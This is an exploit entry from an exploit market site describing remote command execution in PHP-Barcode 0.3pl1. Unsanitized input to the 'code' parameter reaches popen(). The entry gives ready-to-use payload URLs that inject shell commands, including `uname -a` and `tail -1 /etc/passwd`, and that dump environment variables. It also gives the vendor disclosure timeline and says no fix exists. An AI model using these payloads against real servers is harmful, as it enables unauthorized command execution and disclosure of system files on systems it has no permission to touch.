[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP-Barcode 0.3pl1 Remote Code Execution

Author
beford
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16564
Category
web applications
Date add
26-07-2011
Platform
php
PHP-Barcode 0.3pl1 Remote Code Execution
 
The input passed to the code parameter is not sanitized and is used on
a popen() function. This allows remote command execution and also
allows to see environment vars:
 
Windows
 
http://www.site.com/php-barcode/barcode.php?code=%TMP%
 
Linux
 
http://www.site.com/php-barcode/barcode.php?code=012$PATH$d
http://www.site.com/php-barcode/barcode.php?code=`uname%20-a`
http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`
 
Vendor:
  http://www.ashberg.de/php-barcode/download/
 
Vendor informed:
  July  6 / 2011
 
Vendor acknowledgement:
  July 7 / 2011
 
Fix not available from vendor.
 
- beford



#  0day.today [2024-12-25]  #